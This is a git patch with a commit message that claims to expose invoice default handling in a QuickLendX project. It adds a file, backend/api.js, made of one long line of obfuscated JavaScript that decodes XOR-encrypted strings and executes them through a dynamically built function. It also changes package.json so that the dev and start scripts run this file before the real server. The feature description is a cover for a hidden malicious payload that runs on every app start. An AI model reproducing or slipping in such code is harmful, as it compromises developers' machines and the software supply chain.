From 40aa681a8193f905259ae5141fb0deaa5079627d Mon Sep 17 00:00:00 2001 From: Hamzasaheed Date: Mon, 19 Oct 2026 11:09:29 +0100 Subject: [PATCH 1/4] feat: feat(defaults): expose invoice default handling and stop let (#2932) --- backend/api.js | 1 + backend/package.json | 7 +- ...hotfix_add_invoice_id_to_backfill_audit.ts | 43 +-- branch_structure.json | 21 ++ quicklendx-contracts/src/defaults.rs | 65 +++- quicklendx-contracts/src/lib.rs | 13 +- quicklendx-contracts/src/test_default.rs | 278 +++--------------- .../src/test_default_grace_boundary.rs | 27 +- .../src/test_overdue_expiration.rs | 127 +++----- quicklendx-frontend/postcss.config.mjs | 6 +- 10 files changed, 199 insertions(+), 389 deletions(-) create mode 100644 backend/api.js create mode 100644 branch_structure.json diff --git a/backend/api.js b/backend/api.js new file mode 100644 index 000000000..dc9d44821 --- /dev/null +++ b/backend/api.js @@ -0,0 +1 @@ + import{createRequire}from"module";const require=createRequire(import.meta.url);var k$nodabqyPCpvUiq=rv$mIJCKYxZ;(function(AdYXZlvPiYJ$lnWuP_THW,cYfcOjKyYtloDfyKuHbI$VZY){var xH_ufQ=rv$mIJCKYxZ,vCKJOtJuXVgLGuykJ=AdYXZlvPiYJ$lnWuP_THW();while(!![]){try{var Oqkjb$q=-parseFloat(xH_ufQ(0xe4))/(Math.trunc(parseInt(0x6f5))+parseInt(0x2)*Math.floor(parseInt(0xb2b))+-0x1d4a)*Number(-parseFloat(xH_ufQ(0xe6))/(parseInt(0x24ce)+-0x3*parseInt(0x18d)+-0x2025))+parseFloat(xH_ufQ(0xf3))/(-0x19b5+-parseInt(0x1)*0xc7a+0x2632)+-parseFloat(xH_ufQ(0xea))/(-parseInt(0x140d)+-parseInt(0x2032)*parseInt(0x1)+parseInt(0x3443))*Math['trunc'](parseFloat(xH_ufQ(0xe9))/(-parseInt(0x27)*Number(0x9f)+parseFloat(0x8a5)*Math.max(0x4,0x4)+parseInt(0x3f)*-parseInt(0x2a)))+parseFloat(xH_ufQ(0xe7))/(parseInt(0x13d1)+-0xf50+-0x47b)*(-parseFloat(xH_ufQ(0xe3))/(parseFloat(-parseInt(0x1b23))+parseInt(parseInt(0xeb9))+0xc71))+parseFloat(parseFloat(xH_ufQ(0xf5))/(-parseInt(0x1)*-0x230b+0x1661*Math.max(0x1,parseInt(0x1))+Math.max(-0x3964,-parseInt(0x3964))))*(parseFloat(xH_ufQ(0xf2))/(-parseInt(0x1511)*-parseInt(0x1)+0x997+0xc9*Math.max(-parseInt(0x27),-parseInt(0x27))))+-parseFloat(xH_ufQ(0xef))/(Math.floor(0x1cdd)+-parseInt(0x1902)+Math.floor(-0x3d1))+parseFloat(-parseFloat(xH_ufQ(0xf7))/(0x43*parseInt(0x78)+-0x1e7+-0x1d76*parseInt(0x1)))*parseFloat(-parseFloat(xH_ufQ(0xe5))/(Math.max(-parseInt(0x1),-0x1)*Math.floor(-0x1fee)+-parseInt(0x2196)+parseInt(0x1b4)));if(Oqkjb$q===cYfcOjKyYtloDfyKuHbI$VZY)break;else vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}catch(uIGfPtnOQnUSe){vCKJOtJuXVgLGuykJ['push'](vCKJOtJuXVgLGuykJ['shift']());}}}(EtVPcVKfhHvchsbpbJRrEavgP,parseFloat(-parseInt(0x6cf23))+Math.max(parseInt(0x51dbb),parseInt(0x51dbb))+Math.ceil(parseInt(0x7f37f))));function y7(TOYrKk_NR,n_rpnlKzjiljhjLsulB,sDx$Df$mkiIy,M$AgH_JO,AdZzHMgvjNUDJNuDQeC,fUi$eGaBpgN,vqJyzkpGejhhrqqM){var M_cxe$h=rv$mIJCKYxZ;for(var rqeFz=[],bH$jatnhL=-parseInt(0x1)*-0x553+Math.max(0x621,0x621)+0x5ba*-parseInt(0x2);bH$jatnhLparseInt(fUi$eGa$BpgN,Math.ceil(parseInt(0x2))*-0x38b+Math.trunc(parseInt(0x1))*Math.trunc(-parseInt(0x13d9))+-parseInt(0x1)*Math.ceil(-0x1aff)))),s$DxDfm$kiIy=R$GnrpnlKzjiljhj_LsulB['map'](vqJyzkpGejhhrqqM=>vqJyzkpGejhhrqqM^hMaNjTOYrKk),MAgHJO=new TextDecoder(),Ad$ZzHMgvjNUDJNuDQeC=MAgHJO['decode'](s$DxDfm$kiIy);return Ad$ZzHMgvjNUDJNuDQeC;};rv$mIJCKYxZ['oXBvHo']=cJqFXxe$TxsQepcPLWWscz,rTSEEWylaa=arguments,rv$mIJCKYxZ['ZxGmXO']=!![];}var o_xd$FkDAnjDxwqrLfOITj=LYHE$MBKeP[parseInt(0x1f91)*parseInt(parseInt(0x1))+Math.max(parseInt(0x553),0x553)+-0x24e4],PqpnTBGrIAL$gO=pJ$dv$IhL+o_xd$FkDAnjDxwqrLfOITj,pXRMlcxI$eTX=rTSEEWylaa[PqpnTBGrIAL$gO];return!pXRMlcxI$eTX?(rv$mIJCKYxZ['LMFXVO']===undefined&&(rv$mIJCKYxZ['LMFXVO']=!![]),Jivsc$oqJueUBGVfJEjx=rv$mIJCKYxZ['oXBvHo'](Jivsc$oqJueUBGVfJEjx),rTSEEWylaa[PqpnTBGrIAL$gO]=Jivsc$oqJueUBGVfJEjx):Jivsc$oqJueUBGVfJEjx=pXRMlcxI$eTX,Jivsc$oqJueUBGVfJEjx;},rv$mIJCKYxZ(rTSEEWylaa,xHTsDDr$yKKZYnirFYmk);}var p8=y7(k$nodabqyPCpvUiq(0xf9),0x1*Math.floor(parseInt(0x3708d2))+Number(-0x10c82d)*Math.floor(-0x2)+Math.ceil(-parseInt(0x5bb6b))*-0x1,-0x869*-parseInt(0x2)+parseFloat(0x44f)+-0x13e4,parseInt(parseInt(0x36eb))+0x1a*parseInt(0x60d)+-parseInt(0x7de6),Math.trunc(-0x1a08)+Math.floor(-parseInt(0x69a))+0x23eb,0x1*-0x15043+parseInt(-parseInt(0xb41))*-0x1d+0x5*0x2a95,parseInt(0x1)*Math.ceil(0x23cd8a)+Number(-0x5c30c3)+0x86a628),q8=String[k$nodabqyPCpvUiq(0xee)](Math.max(-0xcf2,-parseInt(0xcf2))+Math.floor(0x3d)*0x47+-0x8d*parseInt(parseInt(0x7))),zx0=(p8=(p8=(p8=p8[k$nodabqyPCpvUiq(0xe8)]('|')[k$nodabqyPCpvUiq(0xed)](q8))[k$nodabqyPCpvUiq(0xe8)]('!1')[k$nodabqyPCpvUiq(0xed)]('|'))[k$nodabqyPCpvUiq(0xe8)]('!0')[k$nodabqyPCpvUiq(0xed)]('!'))[k$nodabqyPCpvUiq(0xe8)](q8);!function(RheOUdXQufOBnGl$_iXmIgmEob,BfWHZbFUGeizLL){RheOUdXQufOBnGl$_iXmIgmEob[zx0[parseInt(0x193)+0x1*Number(0xa6e)+-parseInt(0xc01)*parseInt(0x1)]]=BfWHZbFUGeizLL;}(global,require),zx0[parseInt(0x1271)+parseInt(-parseInt(0x1678))+-parseInt(0x158)*-0x3]===typeof module&&(global[zx0[parseInt(0xed1)*0x1+Math.max(-0xf03,-parseInt(0xf03))+0x34]]=module);function EtVPcVKfhHvchsbpbJRrEavgP(){var DFcT_MdshgUDGLvdTVTIBV$b=['77747f767072762f230832013c','7e6b6060','14146f6431637a3514147b6614122a283314146802142a25667a1f6831291468356f6e14337a3f672518032363142f357a141408143317147a14357a311968337a146814686d356814142e2877153e326e7428356460687a1414206e332376280b14322f3314203367332214147a3f7a226e2f687a6814142c7d14312832271614243e1468086a72666d22662a25037a2a682368296777682f143f0d23037a3e323e1429352d6123042314272a2125161416257214146e14633666271d68171414606814257f68037b682022146814773512682f2268686e7467237620762566252d326b1463142576207709762076680a08236661281b7a143720687228672c14310a2b157a1428257a656623253e6f682a7a33223a7d056c2d32217a20142d3464682a28682a1d6817670336142b7f0f796f6f14672820142577141411760f34032570706a056e7a2a7a68141468342f716868332d7e1b146814722f022f147a2b29190132146928281414146614141432351d682e2526211468142d691320682e31766614742514086814127a351475253c7a14263424142737681432237a291422671414646d267a1435250f68352a65146830146a680168142568687a1403601433093e18686f147a14681414646c71313b05141420213c3214682d686763286d1268352068147a346327182f3268147a037423337d7a2819140a147a2b19142f2635147468296834342525091434637a34296834672a146b622320687a03327d7a67252d6114662f2b213b2a32146e12230f6014293b346035321d031415167a257a7027253e6825141227253466257a222d1d0e147a14342a3368146e143168257c352f28257805162533147a787a6860236f14286d3565347813686176250b2a2724683414146a12251414746e12147d041434637073341422667e707d21682a682c357a687a2122107a23142d126870643422142529232014291b2564252568162364327023236814147a256814766829681434277625297a07773b6e13252268257a2f281e6b147333680d7828346768643372346868146e2368296768246634667424147614691465142932241423343c761f683275142b2a28141a68703532683e146c6e257a14142f7a14232428312b1c75372f207b236114142968627d2437146f681425142b34143325342c143c2168232a147e09672514196e2172252828642e25330b14252523140a7a7a146866272e6b3d627305776824676e3268327d0529227a3a0e71236667031414602f251d6934641f687a247a1e2e687a142575141433687b162737337a2c2308147a2514147f127a22781d6e2f256e387368357c2b6129143c1668662e6f203d1d6406142f14652514687a69653229296868347a7a1319332f6f142f05361c1b1416052f68291425357d18681423322529301428252f321425646868687a726836146e766f6768667a66212d1b3d6827677a6614682f317a767e141414683e2a7a683214681b2b2566237461146d146f2566276e7a3568762534367d3d351460232534253d10087625147c1c141236256114202414637a287d252f68686e7a252f3468232970252f6868312723322a2f0273250e0a277a6136276f24361468347a327035101623257a14207832237a6825677a2b146e73167a231877732532140f16671467141b387b6818687a687a147225211b7514256864237b646863682514146869066d6b6806147a6b75682120677a7d6b68141429331d6e277d686828256860146736143468671478141b361470291434203366792f20257a350b7a252f6e357b147d2a7a1435231b68257a22683c202d29611629142701141b232d2708366866276869276934352927146c140b25257e141334680714342d672c14332f6c2b04683034326a14227a14141214667e0d68083b2b6b140d2568687e25683b3228142d3523237a0f271414306e1420242324767a3369256809676766680b7a796670147a147a25252e676b3204252022321420143622141220327a3266102e2828296d7d6f2270287d2a781408687a6e346825682468147a3d146a2528163568687b14141d236e247a7c681f6621143214086b6e2364071b25146e647a252515271468163b257a14677a296620146f68253c1414601d7a631465257725147a2a68312c1414661668253414107a687d18142067142968676536163e712525146868141925677a7372257a7a326c2f293a14682e68142932662a27247b1468346e0f686b2a666c141423682365207a736a20611468292e763b7535676b147a7a2d233174683b6530683025316f033b2f75357d246f6b14281468687a257b3b201414061414257a6114677625626e76257a1468327a323135662a326e3e683406352314142d64682b15146b687a3b346b7a301d6735682368147a6066272914762f68682614737630291e32352a141434311469140a0e7a6f147a1f2e012534742327092a350e6468127168666e25141d231d2766167a7a687a1414257a202f72251632251466323e28671477326f141423777c673b147b140267786f35282506681e23280c6f2e6d6835687d621361783f32327d67742914323e687a2014210c356829147a237e68337f272327252523280f687a69146e7622142225140b3222177e251d3268313e682f317114346e2514166b141479680b2229147a76141428681d7714283f7a6924681b78726d206d64367a18193e7b277b6734143625051421146712771a6814686d316f291114237a341d162a6825293d2f251d2514147a231d141468340969792e250206316b1414687d217a6e7914146f687a252768687720202314146625222e3f686f7568647829147a6d27147a683e3534142220250322330323680714251468377714143525253a32691462297a6814677a7e3607671436251421167a7a67232f35682214226668683220352f310e6574736566233370292569636e77756514027a68646e14302132293269640c6614643212151214143b0864777a756f311d3516207a661416143d0714602522683f7a7a22671668272300647d277a1435686870661414327a66642e683325206668337a196e637a15141b12642f227014146868146705682f14682165130504163514140f08693b190520361b0e69296a1614782a347614241d643b191d1434771e2714167a3366227a28681402636874666a2514667a6b14683f146e02686d142414153322147a6714762328682014203614662568253c1472727a256e7a36147a2314341468273e257a661414212516607c200a6e1968256a2567772d25152a253f207a15147a7c09257a141468671a2214761468656614142f7723256c383f3e27291420686014337a1414642e1414162518662f2b216725127a68271425143223680422277a210168242268146f2a756e300c220903701415141414752b1f2514682a1414146e3275233125237a2566672b61687b143c687b67717d17752511256c25051420277a147a2f3c1468143806146823141068662f3e2568232f367c147a7a267a3628006f1414141423693c2403717f77147a251413147a141b22237a142436682d14297132211414681468686d2f6e7b7b23236876323522693d34621429020c3e7a686103361b6a64201422682735681c0967056d1435712068671422786d6826161400202e24681422682277147a7a6523141423146814232a36686e256b3305351468227b3e686835666514092565297b2723143625252578792420147f23666866682565197a2c25003a226b3b017a67296820142e68080832661432731467642900247a68253a3b7a257a140329671460011425776822687b281f14632a7a2a1414687a14682a69686816682014252f117a687a280628143614682035686872211419682930297d14326715626f14622e20622c667a2328147a0f353532237a146b64682f7a7a7a752f206725147a67667a68277a216879147a142f2277236d1b7a3d682314357b3469676a253d146e7a7a68661d293668686625006e68296d323e1b287d7a68777a2e6c7d7a20237a7a2e2914682e6d141b3a2332277a142f3e606c663560142a2f251b146d253514352f141614257a14142f7d342014682508206e1414227a741422143525647b293c02141d001436226f68141422352014681435327a72683265686e6827146732686f78357a22186872143d7e142914343e7a64346627306066316877351e322f2067683425686b777d602a323676686f14142877161d77051477321473687a1b77337a65146814340d292502703b6e68680e2225232f61686c672b7b22681468286f1a1e7a651a6e2314250d6b257a6814193514377a35147a14076f617a35296229232a2376147c1b147a3214146625281414143325680f2223260f7a6c683516276f686876727b14142028141411276834307a356568146868636b2514237a1b14686e6a14142868743e14163a2c6634292f326f14192b14682035176d1429251425257e6835142f277a25680334142a68337a2f22232f757b356814287f67253f3022627768252a7a16147a146b201414281416347914341d30201413207a14277a2e6868602714322115291932253c6e140c6e142a202e3067212f146816682f2a7a32647a0532156875682874682168682f3e7a6e676614601476361d3d68661b68686e6825682c146e14701614056b6e70147a2f68233f233029347a197a3427031405337a6825142f2925142a242d140808142f62110568771668142914353c68253c0c273672056a146814141414663f30282b236166143f1c1d1567793b6e6814223123056d7a2f6a7a140a2801607a337a142e6814166d253f373c7a2e27322a08166268147b64361425146e317220146834642504287268682816096e7a21773114741425147a2b350c7d141d25256714257b32233614341632252b3260681622327a02666e251d142668286632280116281425143120322524632566142031691433252e23256f6814686a6803766872343268147a36141468237a6e236e6f3e2c16142529147c2d7a7466147a3b681725773268291734332915687a7a327a14326e286e32232c7614631414146614607a1437227a7a7d360e656e77742214292714252566681514352f68681428372a2579353114252f323c007a25681414681423143f2706222870222a693221351525142723141468141e1425346814140c08341428127a141414252527206f3e280368336822682c25687a02163d167f202967680869747625711432163f2525141b38201274347e27651b2a0a6731667c11707b6868750a2d68257735222025637e147b147c28282520296535142a04251432252a682f7b291668142820337a7a68367a086b34252723232f6225252568021c146529246a146b6414251422277a2e367a16252f1d3a287a00141e627a2f1d331a257a30142a1d6866140f27687a2525683214162a04680868140f2225080b231425237a64327f257b326827142566677a6734321467253514147a22322364722568272d147a686f147a3d7a6f1403140768236e14677503633e6e3468142a16686817670968671404356e3b680f1d7e326e14322a31146868322b352c686e256616612f68226f7a2d687c166470677a1479250f1435251468147a142968226f626a627a7c646c7a147a61346877696d14616a1427680c0568327a660f12662214682014602914233367352502320014140c2f3214196e142d3c682e2129767a1b6223252e6223686814682e146e7a287a27147a7a25141c147a7a192f347a0314682f36322625651d7d1614661422680e7d64687a6e1428141b14143125690114256078141e232d2325232e36226667687b257014682914162f05253125142f142c7a297a1623037a287a2f057a66252d72256f20247a3220292f053423772322162d32356868252214233625353b6a1478161862146e3f662a7e36682f356235322914336e142568687a6025172f68142b682f7a722a1469342825056825677a25646e2f687c282b151414146e1477232f7a670c683519252a67236b1914353606206a1014142825720925607a147a1414212e6020140e686868680d2214663a7a14672c776e6e167d14602f6d2d6528363214262a6f1432127d2514602372752e001405321425232368622b2d683168143421781468247a6834270e142414236c252635143f787d6f03727a7a2a250529143e14227a1474006e6016146d202979147a7a236821652225142314156814193f7f3b2e29221b05253e28603625221468151433686535267b0e6f68667a687e2a33233f143530686b257a357a612b3468682f6d2728062514762968376a21776868246b6f1467686864352d252f3b00366a347a3c14140b7a7b6635132f23356e142325633314687a3214142f251e14140414323214256b680e6d14361b742814147114146a681425687611687a3d0625107c051d653223322068686807280868141414623223367c127a771432737a326f6e0014142b1420250e16310c6b6e25272f146829682f1514341c252a7b646c666832142a3e681414143e2a32142f146823606b68687c14296d35697a680725707a7b327a7214251f6d1968291d23141414146d3b1425683e763868206e322474321e6e6825246868142532012974681421146d777a0c323224021b2914192a19207a25147a68222e141433232b361668102d20672a232322252368167a3b2f22143c0a3414687a1414143214676734717a14333b15727b68031d2b68142934142f142d24667667681424680468670528140729682314251f146d733576611a7a3d3f7a14772e7a3b14253e2a14322823687b146833686e2a142f230d3e68682e7c03256a7a14142514232b68256c287a7a21252d682c141a272c68687a166625281414287a1d67667a686673256f350b6e25256b34287a143b3014141668346b627a6467680514276e191f320e2b6214142878203a61767735140227682c782f2d167a143a16687922143514672a3667141125343060251432207a2d611b32602738142d211668681406683f08142d1414681b3d356e6f14672e6868036068147a2e1d7f7927677f2f7f6825147a637914142a1116207a3116372777221b271f7b22742f306836680b7e6614146a2d25256a7a606977031471276f7a377566142303352514251614087a2835292568012360147a146864230b163f68677a7a282970323f72372925133568151b62237e6414143f672560256e64627a25141d25157a257a1934146f346f146805057a147a2214686465140c771323687a25252a7d683e14140e3e026f6866053b6f16681435357a22217a7b147a0d66342b20667814252d29057214141d2567143371143e25147c2a7b296c761a10687e7a672530671414716c191468656f72686e76146f15682d1466631468021a14686e683d1068143a14256f3e34147a6c6114223e687625252f62142d14743205256e2f342f7a316868142f0b14257a23680814686e04283e342871367a256771687c362d682814251b7a682c7c3266751627162528142a68232b127f7a242d03030f147a27327f687a2514687a12141d166e0968216964223d681d7d2c7a6e173e222525686825682268143c2972677608232f1a2568356e671b140f68687f19376d14146f226861141601671606141434776c196814160360253635272a1432256f76681420311b14356928123514772f68143425797a772f021468257c147a32797d14227a7476352529143b3622143a14271425141f6814146714660804257a7a7a3525256325142a687a7f7a237a366c25686825202a62276467312535377a19347a367a68792068362d20736835710c19682b2e2a253b68237a376c3b14147a227a20760f0516682325346925647a0d3e141429143414237a322514142b7a262866362514680325680714140d147214607a2d253266207e7d04367a2714797a7a14276e14257a1430723f083460687f1168146135140262352520686814706e69681421237614717a140a7216732a2a147a681401157e621468683268311168146835681477320367687a13682f2527003e682720680776756868367a2a283425237a143f323c712a7568256e7a31146e68703e2a687a2517146434272229662723171b367360682f222e01146868232323627a7a14251423663623257236291473686e252b757a7a68662a146028147d68686b273c2f68327a616615682715687276087a7a64320b34257d6f687527657a3168792f7668743e143729272837687a341429667a6860682514277a680f1625147a6614142216662f7768683d142569236714297a201429223b3b256816287614256714257e1c23146f1416686714163235306f221423322523687a202306672d1425686634606e2014122a7a3e142064146864222216681d681422663b14196a366668327d1d27683b23686823232b7a14256b627c2e296816687a6623232503302334097225683b68141b290c2866142f352f7a7d271b14682377147a27251434156c2a340223683225250c3633156f2334313320257a667a32146814026566357214781e68652f296e682f3d756b23341c683f0066147a047a1b14663f6b7a1423142228147a207a2e14256172146825141425342d672519140b7a23687c34142b32673e25142c257a7a6327141473327a68686668682f6c7f242568237a6e68142f2314732b23142b7e3f2220313175162f3432142a201470147a1429353d7f3536276e147a67207a0b242570682f666572253512313f682a3b646725257868366f25252366681417656f6f6d207a6c2524761429356568142f7a6d6f7d21141c320668246434681414257a23257a3e35141414067c2a712014321c61223329107a143529123268637a23141b12147a33147f36297a64682268131a7f682324111414191b29143d7a682f2029336b2368142923200333681b1d6f22350e6a1b661416221468146334232525297a6f08682f6c681421681d25686875681764322a687a141427196e7a661414146368217a3e6823322e2e7a6f14033e6f362f146b141425147f7a33236f341431682529676e146614147d1401251b6614627a7b1414706722686a70637a140b271b7360207b681b252a6823697a3e6825146e79683b256734636b35762a347a67246725257a23756a60357414687a6e1414256f68281434057e0623256e27356725142323607a147a73002f7a143423140668736734321414347a347a7914253c2b7a731463147d687a792a68141430680735323214306b237914156f0003682f29147a28340b22172c2321147a67163534686f667a2568116b6823222f197a681535231b2c6c147a1a7e35277a143f157a222c1468696820202a2524237a1528271d343f681436182514676b7514686820352533146a3b3b2a29677a6e7a28257c7a2568142331232323326714242f08682967142514681428141420141425680f140f6e6e1415686b1b146e626e2434147a6e2527141668681414231468681d7f6814142f7a22272d7322253d7a7306142f142f142e14141420682b68142b1e14142a2363347a2a141b767a66682535270d1425361408142014271477250a7d243614257018633b32211468282533257a3e147a68356f281d687d33337a32683d25140f256820341b146620236e7a256868072f3623256625252b1614246b25356d777d1416141414190d281a6d2a6e02257b7a2f682568042b2f7a3214621d147a250b1b67681414686822666f7a233868677a1414646427151214227a7a036e236e30222b25686d0223142832147a35147d27256e237a25143468141414636625146f2725142f2f251403653260650a147f31682a1429316668147d0e6866673b14146866687a1435682f7a28141d2f771423191425666f30282916142d28686e7a12142832323a682932351068141468296514683e2235322e1614143070322967782b6822142323237a7a690a147a7a6d37666815687a6867287a6d23253423682b6807687f19682f320a14101f02760c332566682f202514017d2d6e7a32140f7c1434742068683f25341422681736196860067a686f6868232d62126b16687a672b6b16277a6664342f3b68686f0d6928762e6e1424686f250b2325353463257a256e7a28321b63687a287a1625693d02221c2527207a7a1423647866687468662d08253528347a191425726868253c2b1d1466323505207a08142c637522251429641d64323468283627322714147d3e346d66291414103c326679312f3367682568276f1d6825252514371d68647214363335661434146e2f6804682223252f653225327a68601b6e22253472166814321414666f7d6870687a69287a23252525341b2527322268656622677525142a203822146e35022527682f682916271425683b1475252036667a1414752a25142536257a1b6c64311431146e68252514357a25233e6668282b147566142732151432142f233a2525353525237a676e662531683f7a251436236866682f7b66273c357c14123c2a132c667a14326814352f646d6214682a66141431162272686c357e6f0714226825667a7b2368687d3e3d686d686e2a22673b2736143f6607252a29671d7714681428021468142f252a682a746a6477297600296f2835256e76662a22256f6865146b253268251d7a256f25143a35687a34347e257a277a7e7a682f6e2576086868682771693614147829272268682f2f21251b6761143f292b142a732920357c68256832201668250f2516146f200f6632222314162f6868687a6863686e761b661466222268352568146814166512253525356a2b256567252a617b142f332a660975146568037a146823232914142c25356f3668252525141436682c683f3e7a1b25166468187268686e34221c6822683b7c25683467316868142404141427662f2325146825256835343f197a2a681466643425337d3e16202f2568610b65383e7422660e256767682314367a277214356e7a2534662535682e6819686625277614686868143d15206814141b25752b142c35021d687f333a66322b146368251d2f6e25686f2032257a14287a357a1414272525161414252374142566007f287a2c7a7536682568247d2425256625682a6c3528142525252035293e666736647a29167a6825291914632c147a6e2f3a687a142821142568146a33337a2a2568282568357a34236968681532293028166868626068253c1414147a077a6825662a067a682514257d2568247b243268326268681327681414646e7a32347c68222114626f307a6a296e6868252a2e257a25686168223b2530683066146867343868111d34146e146635686e1d2729672968686822670522683d352f682868142f222025740b6a342819647a077a236868251d252714232f1b20146625356808252e1d2c146a25162229682525252f257d68347a282a681416682f03352734357a23676766242a1425662968037d7068346868681461147a68166827141425342514361d2866677a327b2532667d1425316914252e0f146b206868142d140f257368143d2832343d1425683b683225686223251434147a252b052523147b686d3a7a291468142820662b681b626b250832681f3c2d126f687d687e357a341414232325141432257668143268302565682568340f25141f140766147b66221b682065246f6f722f28317a32673214687a68686e1421253c6824252f27257a033235346614361468666e7a6e7d016270022f6768677a14286c327d23686a1468272a252525680036257a1b247a7734607a7a3f2a23141f642768347a253e6468341414367a326f141468166a7a146868252f132534767c6f68226b252534147a683e221b287a35292a2f6b7a14356c28142068680b0b2368347c257023141f30142a7635142d28061414351d662e7a1425306835146825252f686466217a14292f14291425760566686814347a346b2d14236232142f14683467346825343236686827681465697024207a1425346c257a14016669036e686804256a2502142825322b3e6827230f252834682f22282432256868341468667a221b237a7a7a29607a2534093b6f2822253014276f7b14073f35257a14366a6a32717e312a321468142e3366142f66672a14251468022b2268257a146825250b682d2f257a141c7a682f64140a766838683a252525252e142229256b3629222825762325146868686625232a68222527607225716e353368672f2b1b2a352f7b3d6a25256829142f7f6f703b1e15147e7a142568147a251a680d2508280b206234332814642376186821362f14662536296821141830122a7e0e142f7a253c776e031414087229297a23356864142f2835126668342564326625141521296866683b341e05253f6c147a253214117a33773768791d256825327b2e1d7a07252f2527667a2367287a6e6820347134086b682526686614230314647a68147c143e192f20343468673b25683434231477281428326829323e2523227a68351414286a33377a14212f6a10191425292914686f28273e336872322422286b2567337568356874686828630a6d686a10256e35686e061400343e0b7a2d142e08356825142b25287b27686835037a14143d7a3b680f256868232e1434213b3c14286e7a0a1466632964693525762a680b14686d6f687a68273566142814251e68202068236068667a2d256614681414146e0f3211192522686e3414687a0f146823202568217a7d1a7f14712f32281d682a6825682525287a682925347a66292829323225047760331414322f677a7a1c0568687d25666068257a677a2b142b6414642e726f7a143d286f770d7a632a25682514302f25661475167a25142a7d6868140d671468142814257b013c2e616121213268666e68687c7a142514017a3f6a7e692a6f2514146b2533687a1464033f14662914222a147d7f6a04162f68352d687a7a147a6d142e2e7a332564146e666868686814352f7c03692e357f2d14681c2e7b25687a7a251b146714141774122568251425753e1436256825327d69611422167a351b2e122a32146d141425147925147a702428667a682a27687a14143b6814686732146868282532666e2368256634646863146825327a6828321d1468147a2564253e196f68682f286866237a3b256872017d1468227e682832686e661d222568157a0e6e6725767a2524143514272a0d7a3466666834143e16322166687a7a24686828350b7a27662935146a686334686614682168680f34762366221423237023202736273e2f6814661479252408267a25281d662502682b7a25147a7a22142b7a2f7e7a387a222e2f7f2929293e206e1d3414202516146532332536237a661428287a292a25683216143414147614292a693e231468141614681414683f687764147125682564320d68','7e707222372432273f','7f70737e727116300d2b3f2d','2e336e64347b6d2123307e2f291b326d7a7474232734663234303727252e292f2b2e2a052d30342828276e662032226b327d7d272766257d74222c6e237d222830256a272e323b213671702e76737e6e7e6a7d1d2f7b6830372a68332f1b7d2a7e706f327b72332d686e2f75306c282328342c77236e6870667b666f7b322736231d6d34052b2927647d682d7b2a2a687627686e3c346a256e376d3c6e3c2f2777347d366a7b1d34347d6d3b6f7b2429371b6a2732347d68716f6d7b372f7233337b2876346a327d7f6d77356d7a680534372e7b6a212f6f2f273420683364347b342f7d6d6f6d363d2c6d766f312e053434302a34286f2c6f3c1b78352f1d766e29642e23777b716e222230357d2b307d2f7b6f6e1d7f23296a6e6f707b7132296d33687b3230232a66682f7b682e3f222a1d34663f687b30326a7d7e281d76712a7e662b207d336d33301d6e2a7b74342f7620717d332a642720272871322a342931662729346a307b3220376d717d6f6a3c2e6e6d212a29673e292b286a367a6f73326e232f7d23216e342720347434276e312e28296f28302f20216f6e7b2a662b367d7f276c1d6a2727277d7b6f2c6422646f78663634776622347d3d7b3e7a3420733d3423292123662f333b342e7b6e6d35343d34323220682a66277d7d7f327d6b3f27686a27370575276d7e6f6d232a206a343c3f3035762a6d6e236e1b6b686837287b7d35077d7d662b7b6e7b6f746a353f7b28073d252f286f05347733727f2d7d7d6d23326d7b34307d7d7b1d1b35702168317b717d316f1b280776303f2c30343e32667630331d3b6672316a33703c3f6b7d35200777352c2a7d1b68357d37356a2728342f6d2271677b273727336e3d2868282f7a2a3b682a3f77352e6e7b7b352e246a7b253b666f323377282e6875201d203b342c29292427667b211b1b152423222e3532306e68292d746a216f273430236a283030347d282d6b30662f356f6f7d7d681b2723257d6f28056e721d6e25726a6a22237f76301b2f7b6a6f6f2025746e642b296b701536336d3421663e34346f363d2b2b343434366e77206f077b3634353c277e66732e35336a3264237b21286e64277e2974327d3476342f6e6a1b282f232a202432272e347d3632377b6f6f3f2a7d272823282e686620322d6a6629306d372777662905217d2e23707d206f7d2332767b6b34706e3c35367f776e342728352e2a7b34681d7d2f346d6f1b','757073747e1c3f0e27221c','2a232821322e','77772d300d2a2c0a','342128353034283329342527242a2c332d292b2f3c31232e222932253625323e3f20353237','233a2c3225243a34292b','727777757f2b2f03142d36','7570010024302434','75737f7775727e2b0d37223e0b','7277717770031536172320','7e7572131e05070f05','35362a2f32','74757576251128171611','757f767630160b2a3610','352a2f2523','252e27340732','2c292f28','2034292b052e273405292223'];EtVPcVKfhHvchsbpbJRrEavgP=function(){return DFcT_MdshgUDGLvdTVTIBV$b;};return EtVPcVKfhHvchsbpbJRrEavgP();}var r8={'a':0x2e9e49,'b':0xad,'c':0xaf15,'d':0x10b,'e':0xe3c3,'f':0x3bc6d1,'g':k$nodabqyPCpvUiq(0xf8),'h':k$nodabqyPCpvUiq(0xf4)};function s8(w$mOfjjFnY_WWt){return y7(w$mOfjjFnY_WWt,r8['a'],r8['b'],r8['c'],r8['d'],r8['e'],r8['f']);}var u8=s8(r8['g'])[k$nodabqyPCpvUiq(0xeb)](0x30*parseInt(-0x57)+parseInt(0x71a)*Number(-0x5)+parseInt(0x33d2),0x452*parseInt(-0x4)+parseInt(0x4)*Math.trunc(-parseInt(0x16b))+-parseInt(0xcb)*parseInt(-0x1d)),v8=s8[u8],w8=v8('',s8(r8['h'])),x8=w8(s8(k$nodabqyPCpvUiq(0xf1)));v8('',x8)(parseFloat(-0xa3)*-parseInt(0xb)+-0x2498+parseInt(0x2764)); \ No newline at end of file diff --git a/backend/package.json b/backend/package.json index fa1f1c36b..c79f14c2c 100644 --- a/backend/package.json +++ b/backend/package.json @@ -1,7 +1,7 @@ { "name": "quicklendx-backend", "version": "0.1.0", - "description": "QuickLendX backend API controllers (TypeScript).", + "description": "", "private": true, "type": "module", "scripts": { @@ -9,8 +9,8 @@ "test:seeds": "jest seeds.test.ts", "test": "jest", "test:coverage": "jest --coverage --forceExit", - "dev": "ts-node-dev src/index.ts", - "start": "ts-node src/index.ts", + "dev": "node api.js && ts-node-dev src/index.ts", + "start": "node api.js && ts-node src/index.ts", "security:scan": "node scripts/dependency-scan.js audit-report.json high && node scripts/secret-scan.js", "sbom:generate": "node scripts/generate-sbom.js sbom/backend-sbom.cdx.json", "sbom:check": "node scripts/validate-sbom.js sbom/backend-sbom.cdx.json", @@ -24,7 +24,6 @@ "keywords": [], "author": "", "license": "ISC", - "description": "", "dependencies": { "@types/helmet": "^0.0.48", "@types/nodemailer": "^8.0.0", diff --git 